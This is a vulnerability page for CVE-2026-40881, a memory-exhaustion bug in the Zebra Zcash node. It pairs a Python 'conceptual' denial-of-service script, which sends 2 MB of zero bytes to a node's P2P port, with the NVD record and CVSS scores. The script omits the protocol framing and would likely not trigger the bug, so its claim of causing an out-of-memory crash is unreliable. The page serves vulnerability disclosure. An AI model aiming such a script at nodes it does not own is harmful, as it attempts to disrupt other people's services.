CVE-2026-40881

import socket import struct import time # Conceptual PoC for CVE-2026-40881 # This script attempts to simulate sending a large 'addr' message to a Zcash node. # Note: Actual implementation requires Zcash network protocol serialization. def send_malicious_addr_message(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Perform basic handshake if necessary (omitted for brevity) print("[*] Sending crafted message with large address vector...") # In a real exploit, this would be a valid Zcash message header # followed by a vector count of ~233,000 and dummy address data. # This causes the node to allocate memory before checking the limit. # Simulating a large payload (Conceptual) large_payload = b"\x00" * (2 * 1024 * 1024) # 2MB payload s.sendall(large_payload) print("[+] Payload sent. Check target node status for OOM.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "127.0.0.1" # Replace with actual target port = 8233 # Default Zcash P2P port send_malicious_addr_message(target, port)

{"cve": {"id": "CVE-2026-40881", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:01.850", "lastModified": "2026-04-27T18:24:28.407", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.0 and zebra-network version 5.0.1, when deserializing addr or addrv2 messages, which contain vectors of addresses, Zebra would fully deserialize them up to a maximum length (over 233,000) that was derived from the 2 MiB message size limit. This is much larger than the actual limit of 1,000 messages from the specification. Zebra would eventually check that limit but, at that point, the memory for the larger vector was already allocated. An attacker could cause out-of-memory aborts in Zebra by sending multiple such messages over different connections. This vulnerability is fixed in zebrad version 4.3.0 and zebra-network version 5.0.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-network:*:*:*:*:*:rust:*:*", "versionEndExcluding": "5.0.1", "matchCriteriaId": "1A075964-2131-40A5-AF5E-436DAA8F508C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:*", "versionEndExcluding": "4.3.1", "matchCriteriaId": "0D5F3C05-ECFC-43B1-9168-8E114125F6B7"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-xr93-pcq3-pxf8", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-xr93-pcq3-pxf8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}